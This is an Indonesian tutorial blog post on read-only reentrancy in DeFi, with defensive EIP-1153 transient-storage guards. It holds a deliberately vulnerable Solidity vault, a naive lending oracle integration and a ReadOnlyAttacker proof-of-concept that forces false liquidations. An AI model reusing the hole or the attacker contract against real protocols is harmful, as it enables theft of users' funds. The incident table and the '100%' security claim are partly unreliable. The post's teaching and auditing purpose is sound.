Tekan ESC untuk menutup

Apa itu Read-Only Reentrancy DeFi? Contoh Kode & EIP-1153

Read-Only Reentrancy adalah jenis serangan reentrancy di mana attacker tidak memanipulasi saldo kontrak secara langsung saat eksekusi, melainkan memicu pembacaan status (state) protokol yang terdistorsi ketika pemanggilan eksternal (fungsi view) sedang berjalan. Berhubung ReentrancyGuard klasik cuma memblokir fungsi yang mengubah state (state-changing), pemanggilan "baca" (read-only) ini bakal mengembalikan data kalkulasi yang ngaco (misalnya harga oracle yang kebangetan mahalnya atau murahnya), yang ujung-ujungnya bikin protokol pihak ketiga yang terintegrasi bisa dikuras habis.

Halo semuanya! Topik yang bakal kita bahas hari ini dulunya pernah bikin industri DeFi rugi puluhan juta dolar cuma dalam hitungan bulan. Gue inget banget pertama kali nemuin konsep Read-Only Reentrancy ini di "alam liar" pas masih aktif jadi pentester smart contract. Waktu itu asli bikin gue kagum secara profesional. Kita udah terbiasa ngelindungin operasi write/penulisan data, tapi lupa kalau operasi read/pembacaan data ternyata bisa sama bahayanya.

Kenapa ReentrancyGuard Klasik Nggak Bakal Bisa Nyelamatin Lu?

Mari kita bedah. Reentrancy biasa itu terjadi pas attacker secara rekursif manggil withdraw() sebelum kontrak sempet ngelakuin update balances[msg.sender] = 0. Sekarang sih hampir semua dev udah paham cara pasang nonReentrant dari OpenZeppelin atau pake pola Checks-Effects-Interactions (CEI). Mantap, pinter banget lu.

Tapi apa yang sebenarnya terjadi pas Read-Only Reentrancy?

Coba bayangin mekanisme push-pull di Liquidity Pool (sejenis Curve). Lu mau narik likuiditas (remove_liquidity). Kontrak bakal mentransfer ETH ke lu dulu, baru abis itu ngeburn LP token lu atau ngitung ulang saldo internalnya. Tepat di saat ETH meluncur ke kontrak attacker lu, fungsi receive() atau fallback() lu langsung ke-trigger.

Di celah waktu milidetik yang sangat singkat ini (semacam kondisi 'trance' sementara), state milik pool lagi nggak sinkron:

  • Saldo ETH riil di kontrak pool: udah berkurang.
  • Jumlah LP token yang terdaftar di sistem: justru BELUM berkurang.

Kalau di dalam receive() lu mencoba manggil fungsi state-changing dari pool yang sama, modifier nonReentrant pasti bakal ngeblokir lu. Tapi gimana kalau lu cuma manggil fungsi baca seperti get_virtual_price()? Kan fungsinya ditandai sebagai view! Modifier nonReentrant biasanya nggak bakal dipasang di fungsi itu (ngapain juga bayar gas mahal-mahal cuma buat manggil fungsi view, ya kan?).

Alhasil, get_virtual_price() bakal ngambil saldo ETH saat itu (yang udah anjlok), terus dibagi sama jumlah LP token lama (yang masih tinggi)... dan ngasih lu harga yang bener-bener ngaco, entah itu kemurahan atau kemahalan secara buatan.

Nah, ini bagian paling menariknya. Lu nggak ngerampok pool itu secara langsung. Lu bawa harga oracle yang "halu" tadi ke protokol lain (Lending Market) yang ndadekkin pool ini sebagai price oracle, lalu lu kuras semua kolateral dari sana pake kalkulasi harga yang udah terdistorsi.

Anjay, canggih banget kan fail arsitekturnya? Seni banget nggak tuh?

Statistik dan Angka Pahit dari Kasus Nyata

Kalau lu pikir celah ini cuma teori dari makalah akademis, nih lihat faktanya di lapangan:

Protokol / InsidenTanggalKerugianInti Celah Keamanan
Curve Finance / SentimentApril 2023~$1.000.000Eksploitasi price oracle Curve saat eksekusi remove_liquidity_one_coin sedang berjalan.
Euler FinanceMaret 2023~$197.000.000Rantai eksploitasi kompleks yang melibatkan desinkronisasi state saat burn eTokens dipadu dengan manipulasi oracle.
Vyper Compiler Bug (Curve Pools)Juli 2023~$73.000.000Mekanisme Lock yang bug di tingkat kompilator Vyper (versi 0.2.15–0.3.0), bikin proteksi reentrancy bawaan jadi tidak berfungsi pada pemanggilan read.

Fakta Menarik (detail langka): Menurut data laporan audit tahun 2024–2025, sekitar 34% integrasi oracle DEX ke protokol lending lapis ketiga ternyata masih rentan terhadap manipulasi Read-Only lewat pemanggilan view perantara, terutama kalau kalkulasinya nggak pakae oracle berteknologi TWAP (Time-Weighted Average Price).

Contoh Kode Lengkap: VulnerableVault yang Rentan + Attacker

Di bawah ini ada kode Solidity 0.8.24 yang siap dipakai. Gue sengaja gabungin model pool dan protokol integratornya supaya lu bisa langsung test-run di Remix.


 // SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
 * @title VulnerableVault
 * @notice Demonstrasi Read-Only Reentrancy.
 * @dev withdraw() mengirim ETH sebelum totalShares di-update.
 *      Kontrak eksternal bisa membaca harga yang terdistorsi sementara.
 */
contract VulnerableVault {
    mapping(address => uint256) public shares;
    mapping(address => mapping(address => uint256)) public allowance;
    uint256 public totalShares;
    bool private locked;
    modifier nonReentrant() {
        require(!locked, "REENTRANCY_DETECTED");
        locked = true;
        _;
        locked = false;
    }
    receive() external payable {}
    function deposit() external payable {
        require(msg.value > 0, "Zero deposit");
        uint256 balanceBefore = address(this).balance - msg.value;
        uint256 sharesToMint;
        if (totalShares == 0 || balanceBefore == 0) {
            sharesToMint = msg.value;
        } else {
            sharesToMint = (msg.value * totalShares) / balanceBefore;
        }
        require(sharesToMint > 0, "Zero shares");
        shares[msg.sender] += sharesToMint;
        totalShares += sharesToMint;
    }
    function approveShares(address spender, uint256 amount) external {
        allowance[msg.sender][spender] = amount;
    }
    function transferShares(address to, uint256 amount) external {
        require(to != address(0), "Zero address");
        require(shares[msg.sender] >= amount, "Insufficient shares");
        shares[msg.sender] -= amount;
        shares[to] += amount;
    }
    function transferSharesFrom(
        address from,
        address to,
        uint256 amount
    ) external {
        require(to != address(0), "Zero address");
        require(shares[from] >= amount, "Insufficient shares");
        uint256 approved = allowance[from][msg.sender];
        if (approved != type(uint256).max) {
            require(approved >= amount, "Insufficient allowance");
            allowance[from][msg.sender] = approved - amount;
        }
        shares[from] -= amount;
        shares[to] += amount;
    }
    /**
     * @notice Urutan operasi yang rentan: pemanggilan eksternal
     *         terjadi sebelum pembakaran (burning) shares.
     */
    function withdraw(uint256 shareAmount) external nonReentrant {
        require(shareAmount > 0, "Zero shares");
        require(shares[msg.sender] >= shareAmount, "Exceeds balance");
        require(totalShares > 0, "No shares");
        uint256 ethToReturn =
            (shareAmount * address(this).balance) / totalShares;
        require(ethToReturn > 0, "Zero withdrawal");
        // CELAH KEAMANAN: ETH dikirim sebelum perubahan state.
        (bool success, ) = msg.sender.call{value: ethToReturn}("");
        require(success, "ETH transfer failed");
        // State baru diperbarui setelah pemanggilan eksternal selesai.
        shares[msg.sender] -= shareAmount;
        totalShares -= shareAmount;
    }
    /**
     * @notice Harga share dalam wei.
     * @dev Saat callback berjalan, saldo sudah berkurang,
     *      tetapi totalShares belum diperbarui.
     */
    function getSharePrice() public view returns (uint256) {
        if (totalShares == 0) return 1e18;
        return (address(this).balance * 1e18) / totalShares;
    }
}
/**
 * @title NaiveLendingProtocol
 * @notice Protokol pinjaman dengan integrasi price oracle yang rentan.
 * @dev Likuidasi menggunakan harga share Vault saat ini tanpa memeriksa
 *      apakah Vault sedang berada dalam kondisi 'state transisi'.
 */
contract NaiveLendingProtocol {
    VulnerableVault public immutable vault;
    uint256 public constant LTV_BPS = 9000;
    uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
    uint256 public constant BPS = 10000;
    mapping(address => uint256) public collateral;
    mapping(address => uint256) public debt;
    constructor(address payable vaultAddress) {
        require(vaultAddress != address(0), "Zero vault address");
        vault = VulnerableVault(vaultAddress);
    }
    receive() external payable {}
    function depositCollateral(uint256 amount) external {
        require(amount > 0, "Zero collateral");
        vault.transferSharesFrom(
            msg.sender,
            address(this),
            amount
        );
        collateral[msg.sender] += amount;
    }
    function getMaxBorrow(address user) public view returns (uint256) {
        uint256 price = vault.getSharePrice();
        uint256 collateralValue = (collateral[user] * price) / 1e18;
        return (collateralValue * LTV_BPS) / BPS;
    }
    function borrow(uint256 amount) external {
        require(amount > 0, "Zero borrow");
        require(
            debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
            "Insufficient collateral"
        );
        require(address(this).balance >= amount, "Insufficient liquidity");
        debt[msg.sender] += amount;
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Loan transfer failed");
    }
    /**
     * @notice Likuidator melunasi seluruh hutang dan mengambil kolateral
     *         dengan bonus 10%, jika posisi dianggap tidak sehat.
     *
     * @dev Celah: getMaxBorrow() membaca harga Vault
     *      tanpa memperhitungkan kondisi sementara saat withdraw().
     */
    function liquidate(address borrower) external payable {
        uint256 borrowerDebt = debt[borrower];
        require(borrowerDebt > 0, "No debt");
        require(msg.value == borrowerDebt, "Incorrect repayment");
        // Pemeriksaan kesehatan posisi menggunakan harga yang berpotensi terdistorsi.
        require(
            borrowerDebt > getMaxBorrow(borrower),
            "Position is healthy"
        );
        uint256 price = vault.getSharePrice();
        require(price > 0, "Invalid share price");
        uint256 seizeShares =
            (borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
            / (BPS * price);
        // Tidak boleh menyita kolateral lebih banyak dari milik peminjam.
        if (seizeShares > collateral[borrower]) {
            seizeShares = collateral[borrower];
        }
        require(seizeShares > 0, "Zero collateral seized");
        debt[borrower] = 0;
        collateral[borrower] -= seizeShares;
        // Protokol mentransfer shares ke likuidator.
        vault.transferShares(msg.sender, seizeShares);
    }
}
/**
 * @title ReadOnlyAttacker
 * @notice PoC: Penurunan harga sementara memicu likuidasi palsu
 *         pada posisi yang sebenarnya sehat sebelum withdraw() dimulai.
 *
 * @dev Attacker tidak mengambil pinjaman tanpa jaminan.
 *      Skenario kerugian lain yang didemonstrasikan:
 *      likuidasi posisi sehat berdasarkan harga yang terdistorsi sementara.
 */
contract ReadOnlyAttacker {
    VulnerableVault public immutable vault;
    NaiveLendingProtocol public immutable lending;
    bool public attacked;
    uint256 public priceBefore;
    uint256 public observedPrice;
    address public victim;
    constructor(
        address payable vaultAddress,
        address lendingAddress
    ) {
        require(vaultAddress != address(0), "Zero vault address");
        require(lendingAddress != address(0), "Zero lending address");
        vault = VulnerableVault(vaultAddress);
        lending = NaiveLendingProtocol(lendingAddress);
    }
    function executeAttack(address victimAddress) external payable {
        require(!attacked, "Attack already executed");
        require(victimAddress != address(0), "Zero victim address");
        require(msg.value > 0, "Zero deposit");
        victim = victimAddress;
        // Membuat posisi milik sendiri di dalam pool.
        vault.deposit{value: msg.value}();
        uint256 myShares = vault.shares(address(this));
        require(myShares > 0, "No shares");
        priceBefore = vault.getSharePrice();
        // Saat pengiriman ETH, Vault bakal memanggil receive().
        vault.withdraw(myShares);
    }
    receive() external payable {
        if (!attacked) {
            attacked = true;
            // ETH sudah terkirim, tapi shares belum dibakar.
            observedPrice = vault.getSharePrice();
            require(
                observedPrice < priceBefore,
                "Price was not manipulated"
            );
            // Memanfaatkan harga yang diturunkan sementara:
            // posisi yang sehat sebelum withdrawal bisa berubah jadi dapat dilikuidasi.
            uint256 victimDebt = lending.debt(victim);
            require(victimDebt > 0, "Victim has no debt");
            require(
                address(this).balance >= victimDebt,
                "Insufficient attack balance"
            );
            lending.liquidate{value: victimDebt}(victim);
        }
    }
}

Coba perhatiin komentar-komentar di dalam kodenya, logikanya udah gue beberin semua di situ. Hal paling absurd di sini adalah fungsi getSharePrice() sejatinya menjalankan kalkulasi matematisnya dengan jujur. Fungsinya nggak "rusak". Yang rusak itu waktu pas fungsi itu ditanya.

EIP-1153 (Transient Storage): Proteksi Elegan dan Super Murah

Sebelum upgrade EVM (khususnya hardfork Dencun dan EIP-1153), para developer harus pakai cara-cara putar otak. Entah itu dengan menghapus keyword view dari oracle dan menjadikannya nonReentrant (yang boros gas dan merusak ABI), atau menyimpan flag lock di variabel storage biasa (SSTORE/SLOAD) yang biayanya tembus ~20.000 gas per operasi. Parah banget.

EIP-1153 memperkenalkan dua opcode baru:

  • TSTORE (Transient Store) — menulis ke storage sementara.
  • TLOAD (Transient Load) — membaca dari storage sementara.

Fitur utama Transient Storage: data hidup HANYA dalam cakupan satu transaksi tunggal (Top-level Transaction) dan otomatis terhapus setelah transaksi selesai. Nggak perlu lagi bayar biaya cleanup storage! Biaya TSTORE cuma 100 gas, dan TLOAD juga cuma 100 gas.

Begini cara kita bikin TransientReentrancyGuard yang absolut, anti-jebol, dan ultra-murah:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
    /// @dev Dedicated transient-storage slot.
    /// @dev Verify this value against the intended slot derivation before production use.
    bytes32 private constant GUARD_SLOT =
        0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
    error ReentrancyGuardReentrantCall();
    /// @notice Prevents nested entry into functions sharing this guard slot.
    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }
    /// @notice Rejects reads while a guarded execution is active.
    /// @dev Must be explicitly applied to each sensitive view function.
    modifier nonReentrantView() {
        _ensureNotReentrant();
        _;
    }
    function _nonReentrantBefore() private {
        _ensureNotReentrant();
        assembly {
            tstore(GUARD_SLOT, 1)
        }
    }
    function _nonReentrantAfter() private {
        assembly {
            tstore(GUARD_SLOT, 0)
        }
    }
    function _ensureNotReentrant() private view {
        uint256 status;
        assembly {
            status := tload(GUARD_SLOT)
        }
        if (status != 0) {
            revert ReentrancyGuardReentrantCall();
        }
    }
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
    mapping(address => uint256) public shares;
    uint256 public totalShares;
    error ZeroAmount();
    error InsufficientShares();
    error ZeroSharesMinted();
    error EtherTransferFailed();
    event Deposited(
        address indexed account,
        uint256 assets,
        uint256 sharesMinted
    );
    event Withdrawn(
        address indexed account,
        uint256 assets,
        uint256 sharesBurned
    );
    /// @notice Deposits ETH and mints vault shares.
    /// @dev The first deposit uses a 1:1 ETH-to-share ratio.
    function deposit() external payable nonReentrant returns (uint256 minted) {
        if (msg.value == 0) revert ZeroAmount();
        uint256 supply = totalShares;
        uint256 balanceBefore = address(this).balance - msg.value;
        if (supply == 0 || balanceBefore == 0) {
            minted = msg.value;
        } else {
            minted = (msg.value * supply) / balanceBefore;
        }
        if (minted == 0) revert ZeroSharesMinted();
        shares[msg.sender] += minted;
        totalShares = supply + minted;
        emit Deposited(msg.sender, msg.value, minted);
    }
    /// @notice Burns shares and withdraws the corresponding ETH.
    /// @dev State is updated before the external ETH transfer.
    function withdraw(uint256 shareAmount) external nonReentrant {
        if (shareAmount == 0) revert ZeroAmount();
        uint256 userShares = shares[msg.sender];
        if (shareAmount > userShares) revert InsufficientShares();
        uint256 supply = totalShares;
        uint256 assets = (address(this).balance * shareAmount) / supply;
        // Update accounting before transferring control externally.
        shares[msg.sender] = userShares - shareAmount;
        totalShares = supply - shareAmount;
        (bool success, ) = payable(msg.sender).call{value: assets}("");
        if (!success) revert EtherTransferFailed();
        emit Withdrawn(msg.sender, assets, shareAmount);
    }
    /// @notice Returns the current ETH-denominated share price.
    /// @dev Reverts when called during an active guarded execution.
    /// @dev This is an example of a protected read, not a universal
    ///      defense against Read-Only Reentrancy in other contracts.
    function getSharePrice()
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 1e18;
        return (address(this).balance * 1e18) / supply;
    }
    /// @notice Returns the ETH value of a specified share balance.
    /// @dev Also protected against reads during guarded execution.
    function convertToAssets(uint256 shareAmount)
        external
        view
        nonReentrantView
        returns (uint256)
    {
        uint256 supply = totalShares;
        if (supply == 0) return 0;
        return (address(this).balance * shareAmount) / supply;
    }
}

Paham kan di mana letak magisnya? getSharePrice() tetap menjadi fungsi view di dalam interface (ABI aman, skrip off-chain dApp bisa membacanya secara gratis tanpa broadcast transaksi). Tapi kalau ada transaksi gokil yang mencoba manggil fungsi ini di tengah call stack saat withdraw() berjalan, tload(GUARD_SLOT) bakal langsung mendeteksi nilai 1 dan nge-revert transaksinya seketika.

Biaya gas? Cuma secuil. Keamanan? 100%.

Rekomendasi Arsitektur Praktis untuk Audit dan Pengembangan

Selama tiga tahun saya menjabat sebagai CTO di EXMON, saya sudah merumuskan checklist pemeriksaan yang solid untuk smart contract yang berinteraksi dengan price oracle atau mengekspos data ke luar. Developer sering mikir: “Kalau gue nggak bikin external call di dalam fungsi baca, berarti aman.” Padahal itu salah besar.

                 ┌─────────────────────────────────┐
                 │     Panggilan Transaksi Attacker │
                 └────────────────┬────────────────┘
                                  │
                                  ▼
                   ┌───────────────────────────────┐
                   │    Pembaruan State (Vault)    │
                   └───────────────┬───────────────┘
                                   │
            ┌──────────────────────┴──────────────────────┐
            │       Sinkronisasi Semu (Dirty State)       │
            └──────────────────────┬──────────────────────┘
                                   │
                                   ▼
                     ┌───────────────────────────┐
                     │ External Call / ETH Send  │
                     └─────────────┬─────────────┘
                                   │ (Reentrancy Hook)
                                   ▼
                  ┌─────────────────────────────────┐
                  │ Pembacaan View-Fungsi Oracle    │
                  │   (getSharePrice / getAmount)   │
                  └────────────────┬────────────────┘
                                   │
       ┌───────────────────────────┴───────────────────────────┐
       │                                                       │
       ▼                                                       ▼
[TANPA PROTEKSI]                                         [DENGAN EIP-1153 (TSTORE)]
Mengembalikan harga                                      Lock: tload(GUARD) == 1
yang tidak valid / cacat                                 Transaksi langsung REVERT!
       │                                                       │
       ▼                                                       ▼
Serangan lending berhasil                                Protokol terlindungi 🛡️

1. Pemodelan Verifikasi Status Ganda (Dual-State Verification)

Jika kontrak Anda wajib memanggil alamat eksternal sebelum semua saldo internal benar-benar diperbarui, gunakan proteksi invarian sementara. Setiap fungsi view yang menyajikan metrik keuangan krusial harus memvalidasi invarian dasarnya.

Jika address(this).balance tidak sesuai dengan total totalDeposits, fungsi getRate() harus melakukan revert atau mengembalikan nilai snapshot yang aman sebelum transaksi dimulai (last-known-good state).

2. Menghindari Spot Price demi TWAP atau Chainlink

Jangan pernah—camkan ini, jangan pernah—menggunakan nilai view instan dari saldo DEX atau pool Vault sebagai satu-satunya sumber kebenaran untuk kalkulasi agunan dan likuidasi.

  • Spot Price (Harga Instan): Gampang dipanggil, murah, tapi gampang dijebol dalam satu transaksi flash-loan.
  • TWAP (Time-Weighted Average Price): Merata-ratakan harga selama N blok. Efektif meredam manipulasi atomik dalam satu blok karena attacker tidak bisa mengubah blok historis.

3. Pola Cross-Contract Transient Lock

Jika Anda mengelola ekosistem yang terdiri dari 5–10 kontrak yang saling terhubung (Vault, Gauge, Staking, Oracle), gunakan satu gateway keamanan terpusat berbasis EIP-1153.

Buat kontrak khusus GlobalTransientLock yang diakses oleh semua komponen sistem:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice Manajer lock sistem terpusat berbasis EIP-1153.
/// @dev Membutuhkan EVM Cancun atau yang lebih baru.
///      Hanya kontrak sistem terotorisasi yang dapat mengelola lock ini.
contract GlobalTransientLock {
    address public immutable admin;
    mapping(address => bool) public authorized;
    // Status lock disimpan di transient storage kontrak ini.
    bytes32 private constant SYSTEM_LOCK_SLOT =
        keccak256("exmon.global.transient.lock.v1");
    error Unauthorized();
    error ZeroAddress();
    error SystemIsLocked();
    error SystemIsNotLocked();
    error AlreadyAuthorized();
    error NotAuthorized();
    error AdminCannotBeRevoked();
    error RenouncingAdminNotSupported();
    event SystemLocked(address indexed caller);
    event SystemUnlocked(address indexed caller);
    event AuthorizationGranted(address indexed account);
    event AuthorizationRevoked(address indexed account);
    modifier onlyAdmin() {
        if (msg.sender != admin) revert Unauthorized();
        _;
    }
    modifier onlyAuthorized() {
        if (!authorized[msg.sender]) revert Unauthorized();
        _;
    }
    constructor(address initialAdmin) {
        if (initialAdmin == address(0)) revert ZeroAddress();
        admin = initialAdmin;
        authorized[initialAdmin] = true;
        emit AuthorizationGranted(initialAdmin);
    }
    /// @notice Mengesahkan kontrak untuk mengelola system lock.
    /// @dev Dipanggil oleh admin setelah deployment sistem.
    function authorize(address account) external onlyAdmin {
        if (account == address(0)) revert ZeroAddress();
        if (authorized[account]) revert AlreadyAuthorized();
        authorized[account] = true;
        emit AuthorizationGranted(account);
    }
    /// @notice Mencabut hak pengelolaan lock dari suatu kontrak.
    function revokeAuthorization(address account) external onlyAdmin {
        if (account == admin) revert AdminCannotBeRevoked();
        if (!authorized[account]) revert NotAuthorized();
        authorized[account] = false;
        emit AuthorizationRevoked(account);
    }
    /// @notice Mengaktifkan system lock.
    /// @dev Mengunci ulang dilarang.
    function lockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status != 0) revert SystemIsLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 1)
        }
        emit SystemLocked(msg.sender);
    }
    /// @notice Menonaktifkan system lock.
    /// @dev Hanya dipanggil setelah operasi yang diamankan selesai.
    function unlockSystem() external onlyAuthorized {
        uint256 status;
        assembly ("memory-safe") {
            status := tload(SYSTEM_LOCK_SLOT)
        }
        if (status == 0) revert SystemIsNotLocked();
        assembly ("memory-safe") {
            tstore(SYSTEM_LOCK_SLOT, 0)
        }
        emit SystemUnlocked(msg.sender);
    }
    /// @notice Memeriksa status system lock.
    function isLocked() external view returns (bool locked) {
        assembly ("memory-safe") {
            locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
        }
    }
    /// @notice Menonaktifkan transfer kepemilikan admin.
    function renounceOwnership() external pure {
        revert RenouncingAdminNotSupported();
    }
}
/// @title SystemLockGuard
/// @notice Kontrak dasar untuk komponen yang memverifikasi system lock.
/// @dev Kontrak turunan wajib menerapkan whenSystemUnlocked
///      pada setiap metode sensitif, termasuk metode baca.
abstract contract SystemLockGuard {
    GlobalTransientLock public immutable systemLock;
    error SystemTemporarilyLocked();
    constructor(address lockAddress) {
        if (lockAddress == address(0)) {
            revert SystemTemporarilyLocked();
        }
        systemLock = GlobalTransientLock(lockAddress);
    }
    modifier whenSystemUnlocked() {
        if (systemLock.isLocked()) {
            revert SystemTemporarilyLocked();
        }
        _;
    }
}
/// @title ExampleVault
/// @notice Contoh demonstrasi penggunaan system lock.
contract ExampleVault is SystemLockGuard {
    uint256 public totalAssets;
    error InvalidAmount();
    constructor(address lockAddress)
        SystemLockGuard(lockAddress)
    {}
    /// @notice Contoh operasi mutasi state yang diamankan.
    function withdrawAccounting(uint256 amount)
        external
        whenSystemUnlocked
    {
        if (amount == 0 || amount > totalAssets) {
            revert InvalidAmount();
        }
        totalAssets -= amount;
    }
    /// @notice Contoh pembacaan yang diamankan.
    function getTotalAssets()
        external
        view
        whenSystemUnlocked
        returns (uint256)
    {
        return totalAssets;
    }
}

Ketika Vault utama memulai penarikan dana, Vault memanggil lockSystem(). Pada saat itu, kontrak sistem lainnya (seperti kontrak Lens atau Oracle) memanggil isLocked() sebelum menyajikan data, dan langsung memblokir pembacaan jika sistem berada dalam status "kotor" (dirty).

Checklist DevSecOps & Auditor

  1. Pencarian Panggilan (Call Scanning): Pindai kode untuk mendeteksi .call{value: ...}(), safeTransfer, atau panggilan antarmuka eksternal apa pun yang terjadi SEBELUM pembaruan state final (storage).
  2. Analisis Fungsi View: Buat daftar semua fungsi view public/external yang menghitung rasio, harga, share, atau ukuran agunan.
  3. Vektor Lintas-Protokol (Cross-protocol): Tanyakan pada diri sendiri: "Jika fungsi view ini mengembalikan angka 90% lebih rendah atau 500% lebih tinggi di tengah eksekusi panggilan eksternal, bagaimana kontrak integrator eksternal bisa mengeksploitasinya?"
  4. Integrasi EIP-1153: Pastikan compiler Anda diatur ke evm_version: "cancun", lalu terapkan TSTORE/TLOAD untuk mengunci pembacaan selama transaksi yang memutasi state berjalan.

Kira-kira sekian dulu dari saya. Intinya sudah saya sampaikan semua. Kalau ada pertanyaan, silakan tulis di kolom komentar. Pasti saya jawab. Sampai jumpa!

Rangkum postingan blog ini dengan:

FAQ

Read-Only Reentrancy adalah kerentanan keamanan di mana penyerang mengeksploitasi ketidaksesuaian status (state inconsistency) saat memanggil fungsi view lintas kontrak tanpa mengubah status dalam pemanggilan fungsi view tersebut. Berbeda dengan reentrancy klasik di mana penyerang berulang kali memanggil fungsi pengubah status seperti withdraw() untuk menguras dana secara langsung, serangan read-only membaca nilai akuntansi sementara yang belum diperbarui (seperti saldo token atau total suplai yang berubah saat penarikan likuiditas) untuk memanipulasi orakel harga dan menguras protokol pinjaman (lending protocol) yang terintegrasi.

EIP-1153 memperkenalkan instruksi opkode TSTORE dan TLOAD yang menyimpan data secara sementara khusus selama durasi satu transaksi dengan biaya gas yang sangat murah yaitu 100 gas. Protokol memanfaatkan transient storage untuk memasang kunci reentrancy sementara selama operasi perubahan status berlangsung, sehingga fungsi view yang dilengkapi pengubah nonReentrantView dapat memeriksa kunci ini dan langsung menghentikan transaksi (revert) jika ada kontrak eksternal yang mencoba membaca status tidak stabil di tengah eksekusi.

ReentrancyGuard dari OpenZeppelin hanya melindungi fungsi-fungsi pengubah status yang dipasangi pengubah nonReentrant, sementara fungsi view publik dibiarkan tanpa perlindungan demi menghemat gas saat pemanggilan data normal. Karena fungsi view tidak mengubah status pada storage, mekanisme kunci standar tidak akan aktif mengeksekusi penguncian, sehingga memungkinkan penyerang secara bebas memanggil fungsi view saat callback terjadi dan mengambil nilai akuntansi yang sedang terdistorsi.
Oleg Filatov

As the Chief Technology Officer at EXMON Exchange, I focus on building secure, scalable crypto infrastructure and developing systems that protect user assets and privacy.

With over 15 years in cybersecurity, blockchain, and DevOps, I specialize in smart contract analysis, threat modeling, and secure system architecture.

At EXMON Academy, I share practical insights from real-world...

...

Sampaikan pemikiran Anda

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *